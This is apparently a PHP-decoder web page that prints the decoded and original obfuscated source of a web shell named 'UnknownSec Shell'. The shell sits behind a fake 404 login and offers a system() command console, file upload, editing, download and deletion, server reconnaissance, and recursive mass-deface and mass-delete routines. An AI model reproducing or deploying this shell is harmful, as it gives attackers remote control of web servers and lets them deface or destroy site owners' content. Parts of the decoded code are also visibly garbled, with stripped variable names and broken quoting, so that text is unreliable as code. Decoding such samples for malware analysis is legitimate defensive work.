Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto XQBS8; MrPqa: $path = str_replace("\134", "\x2f", $path); goto kUi_O; uVMX3..

Decoded Output download

<?php 
goto XQBS8; 
MrPqa: $path = str_replace("\", "/", $path); 
goto kUi_O; 
uVMX3: $keyxx = $_SESSION["keyxx"]; 
goto b5dkw; 
a733E: for ($i = 0; $i <= $c_dir; $i++) { 
    $scdir[$i]; 
    if ($i != $c_dir) {} 
    elseif($_GET["id"] == "deface") { 
        echo "{$_s}"; 
 
        function mass_kabeh($dir, $namafile, $isi_script) { 
            if (is_writable($dir)) { 
                $dira = scandir($dir); 
                foreach($dira as $dirb) { 
                    $dirc = "{$dir}/{$dirb}"; 
                    $ = $dirc. 
                    "/".$namafile; 
                    if ($dirb === ".") { 
                        file_put_contents($, $isi_script); 
                    } 
                    elseif($dirb === "..") { 
                        file_put_contents($, $isi_script); 
                    } else { 
                        if (is_dir($dirc)) { 
                            if (is_writable($dirc)) { 
                                echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;{$}<br>"; 
                                file_put_contents($, $isi_script); 
                                $ = mass_kabeh($dirc, $namafile, $isi_script); 
                            } 
                        } 
                    } 
                } 
            } 
        } 
 
        function mass_biasa($dir, $namafile, $isi_script) { 
            if (is_writable($dir)) { 
                $dira = scandir($dir); 
                foreach($dira as $dirb) { 
                    $dirc = "{$dir}/{$dirb}"; 
                    $ = $dirc. 
                    "/".$namafile; 
                    if ($dirb === ".") { 
                        file_put_contents($, $isi_script); 
                    } 
                    elseif($dirb === "..") { 
                        file_put_contents($, $isi_script); 
                    } else { 
                        if (is_dir($dirc)) { 
                            if (is_writable($dirc)) { 
                                echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;{$dirb}/{$namafile}<br>"; 
                                file_put_contents($, $isi_script); 
                            } 
                        } 
                    } 
                } 
            } 
        } 
        if ($_POST["start"]) { 
            if ($_POST["tipe"] == "massal") { 
                mass_kabeh($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); 
            } 
            elseif($_POST["tipe"] == "biasa") { 
                mass_biasa($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); 
            } 
            echo "<br>"; 
        } 
        echo "
<div class='card text-dark'>
\x9<div class='card-header'>\xa		<form method='POST'>\xa		<kbd>{$_x}&nbsp;Mass deface</kbd>\xa	\x9<br>Tipe:<br>\xa	\x9<div class='custom-control custom-switch'>\xa\x9\x9\x9<input class='custom-control-input' type='checkbox' id='customSwitch' name='tipe' value='biasa'>\xa	\x9	<label class='custom-control-label' for='customSwitch'>Biasa</label>\xa	\x9</div>
\x9\x9<div class='custom-control custom-switch'>
	\x9	<input class='custom-control-input' type='checkbox' id='customSwitch1' name='tipe' value='massal'>
			<label class='custom-control-label' for='customSwitch1'>Massal</label>\xa	\x9</div>
\x9		<i class='bi bi-folder'></i> Lokasi:
\x9\x9	<input class='form-control btn-sm' type='text' name='d_dir' value='{$dir}'>
\x9\x9	<i class='bi bi-file-earmark'></i> Nama file:
\x9	\x9<input class='form-control btn-sm' type='text' name='d_file' placeholder='nama file' {$_r}>
\x9	\x9<i class='bi bi-file-earmark'></i> Isi file:\xa	\x9	<textarea class='form-control btn-sm' rows='7' name='script' placeholder='isi file' {$_r}></textarea>\xa	\x9\x9<input class='btn btn-dark btn-sm btn-block' type='submit' name='start' value='mass deface'>\xa		</form>
	</div>\xa</div>
<br>"; 
    } 
    elseif($_GET["id"] == "cmd") { 
        if ($_POST["ekseCMD"]) { 
            $cmd = $_POST["ekseCMD"]; 
        } 
        echo "{$_s}\xa<div class='card text-dark'>
\x9<div class='card-header'>
	<kbd>{$_x}&nbsp;Console</kbd>\xa		<div class='container-fluid language-javascript'>\xa\x9		<pre style='font-size:10px;'><gr>~</gr>$&nbsp;<rd>{$cmd}</rd><br><code>"; 
        system($_POST["ekseCMD"]. 
            " 2>&1"); 
        echo "</code></pre>
		</div>
		<form method='POST'>
	\x9\x9<div class='input-group mb-3'>
	\x9		<input class='form-control btn-sm' type='text' name='ekseCMD' value='{$cmd}' placeholder='whoami' {$_r}>
\x9		\x9<button class='btn btn-dark btn-sm' type='sumbit'><i class='bi bi-arrow-return-right'></i></button>
		\x9</div>\xa\x9	</form>
	</div>
</div>\xa<br>"; 
    } 
    elseif($_GET["id"] == "info") { 
        $disfunc = @ini_get("disable_functions"); 
        if (empty($disfunc)) { 
            $disfc = "<gr>NONE</gr>"; 
        } else { 
            $disfc = "<rd>{$disfunc}</rd>"; 
        } 
        if (!function_exists("posix_getegid")) { 
            $user = @get_current_user(); 
            $uid = @getmyuid(); 
            $gid = @getmygid(); 
            $group = "?"; 
        } else { 
            $uid = @posix_getpwuid(posix_geteuid()); 
            $gid = @posix_getgrgid(posix_getegid()); 
            $user = $uid["name"]; 
            $uid = $uid["uid"]; 
            $group = $gid["name"]; 
            $gid = $gid["gid"]; 
        } 
        $sm = @ini_get(strtolower("safe_mode")) == "on" ? "<rd>ON</rd>" : "<gr>OFF</gr>"; 
        echo "{$_s}
<div class='card text-dark'>
	<div class='card-header'>
\x9<kbd>{$_x}&nbsp;Info server</kbd>
		<br>
	\x9Uname: <gr>".php_uname(). 
        "</gr><br />\xa\x9\x9Software: <gr>".$_SERVER["SERVER_SOFTWARE"]. 
        "</gr><br />
\x9\x9PHP version: <gr>".PHP_VERSION. 
        "</gr> <a class='text-decoration-none' href='?id=phpinfo&path={$path}'>[ PHP INFO ]</a> PHP os: <gr>".PHP_OS. 
        "</gr><br />
\x9	Server Ip: <gr>".gethostbyname($_SERVER["HTTP_HOST"]). 
        "</gr><br />
\x9	Your Ip: <gr>".ip(). 
        "</gr><br />\xa\x9\x9User: <gr>{$user}</gr> ({$uid}) | Group: <gr>{$group}</gr> ({$gid})<br />\xa\x9	Safe Mode: {$sm}<br />\xa\x9\x9<kbd>Disable Function:</kbd><pre>{$disfc}</pre>
\x9</div>\xa</div>
<br>"; 
    } 
    elseif($_GET["id"] == "phpinfo") { 
        @ob_start(); 
        @eval("phpinfo();"); 
        $buff = @ob_get_contents(); 
        @ob_end_clean(); 
        $awal = strpos($buff, "<body>") + 6; 
        $akhir = strpos($buff, "</body>"); 
        echo "<pre class='php_info'>".substr($buff, $awal, $akhir - $awal). 
        "</pre>"; 
        die; 
    } 
    elseif($_GET["id"] == "upload") { 
        echo "{$_s}\xa<div class='card text-dark'>
\x9<div class='card-header'>"; 
        if (isset($_FILES["file"])) { 
            if (copy($_FILES["file"]["tmp_name"], $path. 
                    "/".$_FILES["file"]["name"])) { 
                echo "<strong>Upload</strong> ok! ".ok(). 
                "</div>"; 
            } else { 
                echo "<strong>Upload</strong> gagal! ".er(). 
                "</div>"; 
            } 
        } 
        echo "\xa		<form method='POST' enctype='multipart/form-data'>
\x9\x9	<kbd>{$_x}&nbsp;Upload File</kbd>\xa\x9\x9	<div class='input-group mb-3'>
		\x9\x9<input class='form-control form-control-sm' type='file' name='file' {$_r}>\xa\x9\x9\x9\x9<button class='btn btn-dark btn-sm' type='submit'><i class='bi bi-arrow-return-right'></i></button>\xa	\x9	</div>\xa\x9\x9</form>
\x9</div>\xa</div>\xa<br>"; 
    } 
    elseif($_GET["id"] == "filebaru") { 
        echo "{$_s}"; 
        if (isset($_POST["bikin"])) { 
            $name = $_POST["nama_file"]; 
            $isi_file = $_POST["isi_file"]; 
            foreach($name as $nama_file) { 
                $handle = @fopen("{$nama_file}", "w"); 
                if ($isi_file) { 
                    $buat = @fwrite($handle, $isi_file); 
                } else { 
                    $buat = $handle; 
                } 
            } 
            if ($buat) { 
                echo "<strong>Buat file</strong> ok! ".ok(). 
                "</div>"; 
            } else { 
                echo "<strong>Buat file</strong> gagal! ".er(). 
                "</div>"; 
            } 
        } 
        echo "\xa<div class='card text-dark'>
	<div class='card-header'>\xa\x9	<kbd>{$_x}&nbsp;Buat file</kbd>\xa	\x9<form method='POST'>
			<i class='bi bi-file-earmark'></i> Nama file:
	\x9	<input class='form-control form-control-sm' type='text' name='nama_file[]' placeholder='Nama file' {$_r}>
\x9		<i class='bi bi-file-earmark'></i> Isi file:
\x9\x9	<textarea class='form-control form-control-sm' name='isi_file' rows='7' placeholder='Isi file' {$_r} ></textarea>\xa	\x9\x9<input class='btn btn-dark btn-sm btn-block' type='submit' name='bikin' value='buat'>
\x9\x9</form>\xa\x9</div>
</div>\xa<br>"; 
    } 
    elseif($_GET["id"] == "dirbaru") { 
        echo "{$_s}"; 
        if (isset($_POST["buat"])) { 
            $nama = $_POST["nama_dir"]; 
            foreach($nama as $nama_dir) { 
                $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $nama_dir); 
                $fd = @mkdir($folder); 
            } 
            if ($fd) { 
                echo "<strong>Buat dir</strong> ok! ".ok(). 
                "</div>"; 
            } else { 
                echo "<strong>Buat dir</strong> gagal! ".er(). 
                "</div>"; 
            } 
        } 
        echo "
<div class='card text-dark'>\xa\x9<div class='card-header'>\xa\x9\x9<kbd>{$_x}&nbsp;Buat dir</kbd>
	\x9<form method='POST'>\xa		\x9<i class='bi bi-folder'></i> Nama dir:
\x9		<div class='input-group mb-3'>\xa	\x9\x9	<input class='form-control form-control-sm' type='text' name='nama_dir[]' placeholder='Nama dir' {$_r}>
			\x9<input class='btn btn-dark btn-sm' type='submit' name='buat' value='buat'>
\x9\x9	</div>\xa		</form>
	</div>
</div>\xa<br>"; 
    } 
    elseif($_GET["id"] == "delete") { 
        echo "{$_s}"; 
 
        function hapus_massal($dir, $namafile) { 
            if (is_writable($dir)) { 
                $dira = scandir($dir); 
                foreach($dira as $dirb) { 
                    $dirc = "{$dir}/{$dirb}"; 
                    $ = $dirc. 
                    "/".$namafile; 
                    if ($dirb === ".") { 
                        if (file_exists("{$dir}/{$namafile}")) { 
                            unlink("{$dir}/{$namafile}"); 
                        } 
                    } 
                    elseif($dirb === "..") { 
                        if (file_exists(''.dirname($dir). 
                                "/{$namafile}")) { 
                            unlink(''.dirname($dir). 
                                "/{$namafile}"); 
                        } 
                    } else { 
                        if (is_dir($dirc)) { 
                            if (is_writable($dirc)) { 
                                if (file_exists($)) { 
                                    echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;{$}<br>"; 
                                    unlink($); 
                                    $ = hapus_massal($dirc, $namafile); 
                                } 
                            } 
                        } 
                    } 
                } 
            } 
        } 
        if ($_POST["start"]) { 
            hapus_massal($_POST["d_dir"], $_POST["d_file"]); 
            echo "<br>"; 
        } 
        echo "\xa<div class='card text-dark'>\xa	<div class='card-header'>
		<form method='POST'>
\x9\x9<kbd>{$_x}&nbsp;Mass delete</kbd>
\x9	<br>\xa\x9	<i class='bi bi-folder'></i> Lokasi:\xa		\x9<input class='form-control btn-sm' type='text' name='d_dir' value='{$dir}'>\xa\x9	\x9	<i class='bi bi-file-earmark'></i> Nama file:
\x9	\x9<div class='input-group mb-3'>
		\x9	<input class='form-control btn-sm' type='text' name='d_file' placeholder='nama file' {$_r}><br>\xa	\x9\x9<div class='input-group-append'>
	\x9\x9\x9<input class='btn btn-dark btn-sm' type='submit' name='start' value='mass delete'>\xa\x9\x9\x9</div>\xa\x9	</form>
\x9\x9</div>
\x9</div>
</div>
<br>"; 
    } 
} 
goto Y25me; 
BijK0: if (isset($_GET["option"]) && $_POST["opt"] == "download") { 
    header("Content-type: text/plain"); 
    header("Content-Disposition: attachment; filename="".$_POST["name"]. 
        """); 
    echo file_get_contents($_POST["path"]); 
    die; 
} goto M22nq; 
M22nq: function($dir, $p) { 
    if (isset($_GET["path"])) { 
        $ = $_GET["path"]; 
    } else { 
        $ = getcwd(); 
    } 
    if (is_writable($)) { 
        return "<gr>".$p. 
        "</gr>"; 
    } else { 
        return "<rd>".$p. 
        "</rd>"; 
    } 
} 
goto b1X5j; 
SY9nb: $scdir = explode("/", $dir); 
goto a733E; 
LWENW: echo "\xa</tbody>\xa</table>
<div class='text-secondary'>&copy; ".date("Y"). 
" {$_n}</div>\xa</div>
</div>
</body>\xa</html>"; 
goto BuwMq; 
kAh0V: if (empty($_SESSION["keyxx"])) { 
    $keyxxx = generateRandomString(); 
    $_SESSION["keyxx"] = $keyxxx; 
} goto uVMX3; 
Y25me: if (isset($_GET["filesrc"])) { 
    echo "<br><b>name : </b>".basename($_GET["filesrc"]); 
    "</br>"; 
    echo "<div class="shell pre" id="see"><pre style="font-size:10px;">".htmlspecialchars(file_get_contents($_GET["filesrc"])). 
    "</pre></div><br/>"; 
} elseif(isset($_GET["option"]) && $_POST["opt"] != "delete") { 
    echo "<br><b>name : </b>".basename($_POST["path"]); 
    "</br>"; 
    if ($_POST["opt"] == "rename") { 
        if (isset($_POST["newname"])) { 
            if (rename($_POST["path"], $path. 
                    "/".$_POST["newname"])) { 
                echo "<strong>Rename</strong> ok! ".ok(). 
                "</div>"; 
            } else { 
                echo "<strong>Rename</strong> gagal! ".er(). 
                "</div>"; 
            } 
            $_POST["name"] = $_POST["newname"]; 
        } 
        echo "
<form method="POST">\xa	<div class="input-group mb-3">
		<input class="form-control form-control-sm" name="newname" type="text" value="".$_POST["name"]. 
        "" />\xa\x9\x9	<input type="hidden" name="path" value="".$_POST["path"]. 
        "">\xa\x9	<input type="hidden" name="opt" value="rename">\xa		<input class="btn btn-outline-light btn-sm" type="submit" value="rename"/>\xa	</div>
</form>"; 
    } 
    elseif($_POST["opt"] == "edit") { 
        if (isset($_POST["src"])) { 
            $fp = fopen($_POST["path"], "w"); 
            if (fwrite($fp, $_POST["src"])) { 
                echo "<strong>Edit</strong> ok! ".ok(). 
                "</div>"; 
            } else { 
                echo "<strong>Edit</strong> gagal! ".er(). 
                "</div>"; 
            } 
            fclose($fp); 
        } 
        echo "\xa<form method="POST">\xa\x9<textarea class="form-control form-control-sm" rows="7" name="src">".htmlspecialchars(file_get_contents($_POST["path"])). 
        "</textarea><br />\xa	\x9<input type="hidden" name="path" value="".$_POST["path"]. 
        "">\xa		<input type="hidden" name="opt" value="edit">\xa	<input class="btn btn-outline-light btn-sm btn-block" type="submit" value="edit"/>
</form>\xa<br>"; 
    } 
} else { 
    if (isset($_GET["option"]) && $_POST["opt"] == "delete") { 
        if ($_POST["type"] == "dir") { 
            if (rmdir($_POST["path"])) { 
                echo "<strong>Delete dir</strong> ok! ".ok(). 
                "</div>"; 
            } else { 
                echo "<strong>Delete dir</strong> gagal! ".er(). 
                "</div>"; 
            } 
        } 
        elseif($_POST["type"] == "file") { 
            if (unlink($_POST["path"])) { 
                echo "<strong>Delete file</strong> ok! ".ok(). 
                "</div>"; 
            } else { 
                echo "<strong>Delete file</strong> gagal! ".er(). 
                "</div>"; 
            } 
        } 
    } 
    $scandir = scandir($path); 
    $pa = getcwd(); 
    echo "<div class="table-responsive">\xa<table class="table table-hover table-dark text-light">\xa<thead>
<tr>\xa	<td class="text-center">name</td>
	\x9<td class="text-center">last edit</td>
		<td class="text-center">size</td>\xa\x9	<td class="text-center">owner<gr>:</gr>downer</td>\xa\x9	<td class="text-center">permission</td>
	<td class="text-center">options</td>
</tr>\xa</thead>\xa<tbody class="text-nowrap">
<tr>
\x9<td><i class="bi bi-folder2-open"></i><a class="text-decoration-none text-secondary" href="?path=".dirname($dir). 
    "">..</a></td><td></td><td></td><td></td><td></td><td class="text-center">
\x9\x9<div class="btn-group">\xa\x9	\x9<a class="btn btn-outline-light btn-sm" href="?id=filebaru&path=".$dir. 
    ""><i class="bi bi-file-earmark-plus-fill"></i></a>\xa	\x9\x9<a class="btn btn-outline-light btn-sm" href="?id=dirbaru&path=".$dir. 
    ""><i class="bi bi-folder-plus"></i></a>\xa\x9\x9</div>
\x9</td>
</tr>"; 
    foreach($scandir as $dir) { 
        $dt = date("Y-m-d H:i:s", filemtime("{$path}/{$dir}")); 
        if (function_exists("posix_getpwuid")) { 
            $downer = @posix_getpwuid(fileowner("{$path}/{$dir}")); 
            $downer = $downer["name"]; 
        } else { 
            $downer = fileowner("{$path}/{$dir}"); 
        } 
        if (function_exists("posix_getgrgid")) { 
            $dgrp = @posix_getgrgid(filegroup("{$path}/{$dir}")); 
            $dgrp = $dgrp["name"]; 
        } else { 
            $dgrp = filegroup("{$path}/{$dir}"); 
        } 
        if (!is_dir("{$path}/{$dir}") || $dir == "." || $dir == "..") { 
            continue; 
        } 
        echo "\xa<tr>\xa\x9<td><i class='bi bi-folder-fill'></i><a class='text-decoration-none text-secondary' href="?path={$path}/{$dir}">{$dir}</a></td>\xa	<td class='text-center'>{$dt}</td>
\x9<td class='text-center'>dir</td>\xa	<td class='text-center'>{$downer}<gr>:</gr>{$dgrp}</td>\xa	<td class='text-center'>"; 
        if (is_writable("{$path}/{$dir}")) { 
            echo "<gr>"; 
        } 
        elseif(!is_readable("{$path}/{$dir}")) { 
            echo "<rd>"; 
        } 
        echo p("{$path}/{$dir}"); 
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) { 
            echo "</gr></rd></td>"; 
        } 
        echo "\xa\x9<td class="text-center">\xa	<form method="POST" action="?option&path={$path}">
	\x9<div class="btn-group">
\x9		<button class="btn btn-outline-light btn-sm" name="opt" value="rename"><i class='bi bi-pencil-fill'></i></button>
			<button class="btn btn-outline-light btn-sm" name="opt" value="delete"><i class='bi bi-trash-fill'></i></button>
\x9	</div>\xa		<input type="hidden" name="type" value="dir">\xa		<input type="hidden" name="name" value="{$dir}">
\x9\x9<input type="hidden" name="path" value="{$path}/{$dir}">
	</form>
\x9</td>
</tr>"; 
    } 
    foreach($scandir as $file) { 
        $ft = date("Y-m-d H:i:s", filemtime("{$path}/{$file}")); 
        if (!is_file($path. 
                "/".$file)) { 
            continue; 
        } 
        if (function_exists("posix_getpwuid")) { 
            $fowner = @posix_getpwuid(fileowner("{$path}/{$file}")); 
            $fowner = $fowner["name"]; 
        } else { 
            $fowner = fileowner("{$path}/{$file}"); 
        } 
        if (function_exists("posix_getgrgid")) { 
            $fgrp = @posix_getgrgid(filegroup("{$path}/{$file}")); 
            $fgrp = $fgrp["name"]; 
        } else { 
            $fgrp = filegroup("{$path}/{$file}"); 
        } 
        echo "
<tr>
	<td><i class='bi bi-file-earmark-code-fill'></i><a class='text-decoration-none text-secondary' href="?filesrc={$path}/{$file}&path={$path}">{$file}</a></td>
	<td class='text-center'>{$ft}</td>
	<td class='text-center'>".sz(filesize($file)). 
        "</td>\xa	<td class='text-center'>{$fowner}<gr>:</gr>{$fgrp}</td>
	<td class='text-center'>"; 
        if (is_writable("{$path}/{$file}")) { 
            echo "<gr>"; 
        } 
        elseif(!is_readable("{$path}/{$file}")) { 
            echo "<rd>"; 
        } 
        echo p("{$path}/{$file}"); 
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) { 
            echo "</gr></rd></td>"; 
        } 
        echo "\xa\x9<td class="text-center">
		<form method="POST" action="?option&path={$path}">
\x9		<div class="btn-group">
\x9\x9		<button class="btn btn-outline-light btn-sm" name="opt" value="edit"><i class='bi bi-pencil-square'></i></button>
	\x9		<button class="btn btn-outline-light btn-sm" name="opt" value="rename"><i class='bi bi-pencil-fill'></i></button>\xa			\x9<button class="btn btn-outline-light btn-sm" name="opt" value="download"><i class='bi bi-download'></i></button>
\x9	\x9	<button class="btn btn-outline-light btn-sm" name="opt" value="delete"><i class='bi bi-trash-fill'></i></button>
\x9\x9	</div>
\x9		<input type="hidden" name="type" value="file">
	\x9	<input type="hidden" name="name" value="{$file}">
		\x9<input type="hidden" name="path" value="{$path}/{$file}">\xa		</form>\xa	</td>
</tr>"; 
    } 
} 
goto LWENW; 
yo3RB: @ini_set("max_execution_time", 0); 
goto UwZXo; 
CjPeU: function p($file) { 
    if ($p = @fileperms($file)) { 
        $i = "u"; 
        if (($p & 49152) == 49152) { 
            $i = "s"; 
        } 
        elseif(($p & 40960) == 40960) { 
            $i = "l"; 
        } 
        elseif(($p & 32768) == 32768) { 
            $i = "-"; 
        } 
        elseif(($p & 24576) == 24576) { 
            $i = "b"; 
        } 
        elseif(($p & 16384) == 16384) { 
            $i = "d"; 
        } 
        elseif(($p & 8192) == 8192) { 
            $i = "c"; 
        } 
        elseif(($p & 4096) == 4096) { 
            $i = "p"; 
        } 
        $i. = $p & 256 ? "r" : "-"; 
        $i. = $p & 128 ? "w" : "-"; 
        $i. = $p & 64 ? "x" : "-"; 
        $i. = $p & 32 ? "r" : "-"; 
        $i. = $p & 16 ? "w" : "-"; 
        $i. = $p & 8 ? "x" : "-"; 
        $i. = $p & 4 ? "r" : "-"; 
        $i. = $p & 2 ? "w" : "-"; 
        $i. = $p & 1 ? "x" : "-"; 
        return $i; 
    } else { 
        return "- ?? -"; 
    } 
} 
goto etJ5R; 
etJ5R: echo "
<!DOCTYPE HTML>\xa<html>
\x9<head>
		<meta name='author' content='{$_n}'>
\x9\x9<meta name='robots' content='noindex,nofollow'>\xa	\x9<title>".$_SERVER["HTTP_HOST"]. 
" - {$_n}</title>
\x9\x9<meta name='viewport' content='width=device-width, initial-scale=0.70'>\xa\x9	<link rel='stylesheet' href='//random-php.ftp.sh/style.css'>
\x9\x9<script src='//cdnjs.cloudflare.com/ajax/libs/prism/1.6.0/prism.js'></script>
\x9	<script src='//cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js'></script>
\x9\x9<script src='//code.jquery.com/jquery-3.3.1.slim.min.js'></script>\xa	</head>\xa<style>\xa.shell {\xa	border-radius: 4px;
\x9border: 1px solid rgba(255, 255, 255, 0.4);\xa	font-size: 10pt;
	display: flex;\xa\x9flex-direction: column;
	align-items: stretch;\xa\x9background: #242424;
	color: #fff;
}
.pre {\xa	height: 500px;
\x9overflow: auto;\xa	white-space: pre-wrap;\xa\x9flex-grow: 1;
\x9margin:10px auto;
	padding:10px;\xa	line-height:1.3em;
	overflow-x:scroll;\xa}
</style>
<body class='bg-secondary text-light'>
<div class='container-fluid'>\xa\x9<div class='py-3' id='main'>
	\x9<div class='box shadow bg-dark p-4 rounded-3'>
\x9\x9\x9<div class='corner text-secondary'>shell bypass 403</div>
	\x9\x9	<a class='text-decoration-none text-light' href='".$_SERVER["PHP_SELF"]. 
"'><h4>{$_n} Shell</h4></a>"; 
goto d5AR3; 
ZSG1L: $_s = "<style>table{display:none;}</style><div class='table-responsive'><hr></div>"; 
goto I2zBZ; 
XQBS8: session_start(); 
goto ChEsd; 
bS5y1: error_reporting(0); 
goto ILuhU; 
UwZXo: @ini_set("output_buffering", 0); 
goto njkRc; 
jHrmM: $_n = "UnknownSec"; 
goto ZSG1L; 
d5AR3: if (isset($_GET["path"])) { 
    $path = $_GET["path"]; 
} else { 
    $path = getcwd(); 
} goto MrPqa; 
Euf97: function er() { 
    echo "<div class="alert alert-danger alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>"; 
} 
goto aRUns; 
b5dkw: if (empty($_SESSION[md5($_SERVER["HTTP_HOST"])])) { 
    if (isset($_POST[$keyxx]) and sha1(md5($_POST[$keyxx])) == $auth_pass5) { 
        $_SESSION[md5($_SERVER["HTTP_HOST"])] = true; 
    } else { 
        printLoginx(); 
    } 
    die; 
} goto vB7bn; 
b1X5j: function ok() { 
    echo "<div class="alert alert-success alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>"; 
} 
goto Euf97; 
I2zBZ: $_r = "required='required'"; 
goto Rp_bD; 
BBWa4: echo " [ ".($path, p($path)). 
" ]</div>"; 
goto xZKoa; 
fjy1W: function ip() { 
    $ipas = ''; 
    if (getenv("HTTP_CLIENT_IP")) { 
        $ipas = getenv("HTTP_CLIENT_IP"); 
    } else { 
        if (getenv("HTTP_X_FORWARDED_FOR")) { 
            $ipas = getenv("HTTP_X_FORWARDED_FOR"); 
        } else { 
            if (getenv("HTTP_X_FORWARDED")) { 
                $ipas = getenv("HTTP_X_FORWARDED"); 
            } else { 
                if (getenv("HTTP_FORWARDED_FOR")) { 
                    $ipas = getenv("HTTP_FORWARDED_FOR"); 
                } else { 
                    if (getenv("HTTP_FORWARDED")) { 
                        $ipas = getenv("HTTP_FORWARDED"); 
                    } else { 
                        if (getenv("REMOTE_ADDR")) { 
                            $ipas = getenv("REMOTE_ADDR"); 
                        } else { 
                            $ipas = "IP tidak dikenali"; 
                        } 
                    } 
                } 
            } 
        } 
    } 
    return $ipas; 
} 
goto CjPeU; 
ILuhU: @ini_set("error_log", null); 
goto W0RSh; 
ChEsd: function generateRandomString($length = 10) { 
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
    $charactersLength = strlen($characters); 
    $randomString = ''; 
    for ($i = 0; $i < $length; $i++) { 
        $randomString. = $characters[rand(0, $charactersLength - 1)]; 
    } 
    return $randomString; 
} 
goto JH8im; 
OF3Fw: date_default_timezone_set("Asia/Jakarta"); 
goto jHrmM; 
aRUns: function sz($byt) { 
    $sz = array("B", "KB", "MB", "GB", "TB"); 
    for ($i = 0; $byt >= 1024 && $i < count($sz) - 1; $byt /= 1024, $i++) {} 
    return round($byt, 2). 
    " ".$sz[$i]; 
} 
goto fjy1W; 
njkRc: @ini_set("display_errors", 0); 
goto OF3Fw; 
Rp_bD: $_x = "<i class='bi bi-gear-fill'></i>"; 
goto BijK0; 
RCw0L: $dir = str_replace("\", "/", $dir); 
goto SY9nb; 
L_JDP: foreach($paths as $id => $pat) { 
    if ($pat == '' && $id == 0) { 
        $a = true; 
        echo "<div class="table-responsive"><i class="bi bi-hdd-rack"></i> : <a class="text-decoration-none text-light" href="?path=/">/</a>"; 
        continue; 
    } 
    if ($pat == '') { 
        continue; 
    } 
    echo "<a class="text-decoration-none" href="?path="; 
    for ($i = 0; $i <= $id; $i++) { 
        echo "{$paths[$i]}"; 
        if ($i != $id) { 
            echo "/"; 
        } 
    } 
    echo "">".$pat. 
    "</a>/"; 
} 
goto BBWa4; 
orN76: $auth_pass5 = "6862666e8162fe84d316aee51fbb07f614acf3a6"; 
goto kAh0V; 
oLpNc: if (isset($_GET["path"])) { 
    $dir = $_GET["path"]; 
    chdir($dir); 
} else { 
    $dir = getcwd(); 
} goto RCw0L; 
vB7bn: set_time_limit(0); 
goto bS5y1; 
W0RSh: @ini_set("log_errors", 0); 
goto yo3RB; 
JH8im: function printLoginx() { 
    echo "<!DOCTYPE html><html><head><meta name="robots" content"noindex. nofollow"><title></title></head><body>\xa <h1>Not Found</h1> \xa     <title>404 Not Found</title>
 <style type="text/css">
 input[type=password] {\xa     width: 250px;
     height: 25px;\xa     color: white;
     background: transparent;\xa     border: 1px solid white;\xa     margin-left: 20px;
     text-align: center;\xa }\xa </style>
     <p>The requested URL was not found on this server.</p> \xa <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> \xa <hr> \xa <address>Apache Server at ".$_SERVER["HTTP_HOST"]. 
    " Port ".$_SERVER["SERVER_PORT"]. 
    "</address> \xa\xa <center><form method="post"><input type="password" name="".$_SESSION["keyxx"]. 
    "" autocomplete="off"><br></form></center></body></html>\xa    "; 
    die; 
} 
goto orN76; 
xZKoa: echo "\xa\x9\x9</div>\xa	</div>
</div>
<div class='container-fluid'>\xa\x9<div class='box shadow bg-dark p-4 rounded-3'>\xa\x9	<div class='text-center'>\xa\x9		<a class='btn btn-outline-light btn-sm' href='?id=upload&path={$path}'><i class='bi bi-upload'></i> upload</a>
	\x9\x9<a class='btn btn-outline-light btn-sm' href='?id=deface&path={$path}'><i class='bi bi-exclamation-diamond'></i> mass deface</a>
\x9\x9	<a class='btn btn-outline-light btn-sm' href='?id=delete&path={$path}'><i class='bi bi-trash'></i> mass delete</a>
\x9	\x9<a class='btn btn-outline-light btn-sm' href='?id=cmd&path={$path}'><i class='bi bi-terminal'></i> console</a>
\x9\x9\x9<a class='btn btn-outline-light btn-sm' href='?id=info&path={$path}'><i class='bi bi-info-circle'></i> info server</a>\xa	\x9</div>"; 
goto oLpNc; 
kUi_O: $paths = explode("/", $path); 
goto L_JDP; 
BuwMq: ? > ?>

Did this file decode correctly?

Original Code

<?php
goto XQBS8;
MrPqa: $path = str_replace("\134", "\x2f", $path);
goto kUi_O;
uVMX3: $keyxx = $_SESSION["\153\x65\x79\170\x78"];
goto b5dkw;
a733E: for ($i = 0; $i <= $c_dir; $i++) {
    $scdir[$i];
    if ($i != $c_dir) {}
    elseif($_GET["\151\x64"] == "\144\145\x66\x61\x63\145") {
        echo "{$_s}";

        function mass_kabeh($dir, $namafile, $isi_script) {
            if (is_writable($dir)) {
                $dira = scandir($dir);
                foreach($dira as $dirb) {
                    $dirc = "{$dir}\57{$dirb}";
                    $ = $dirc.
                    "\57".$namafile;
                    if ($dirb === "\56") {
                        file_put_contents($, $isi_script);
                    }
                    elseif($dirb === "\56\56") {
                        file_put_contents($, $isi_script);
                    } else {
                        if (is_dir($dirc)) {
                            if (is_writable($dirc)) {
                                echo "\x5b\x3c\147\x72\76\x3c\x69\x20\x63\x6c\x61\x73\x73\75\47\142\x69\40\142\x69\55\143\150\x65\143\153\x2d\141\154\x6c\47\x3e\74\57\151\76\74\x2f\147\162\x3e\x5d\46\x6e\142\x73\x70\x3b{$}\x3c\142\162\x3e";
                                file_put_contents($, $isi_script);
                                $ = mass_kabeh($dirc, $namafile, $isi_script);
                            }
                        }
                    }
                }
            }
        }

        function mass_biasa($dir, $namafile, $isi_script) {
            if (is_writable($dir)) {
                $dira = scandir($dir);
                foreach($dira as $dirb) {
                    $dirc = "{$dir}\x2f{$dirb}";
                    $ = $dirc.
                    "\x2f".$namafile;
                    if ($dirb === "\x2e") {
                        file_put_contents($, $isi_script);
                    }
                    elseif($dirb === "\56\56") {
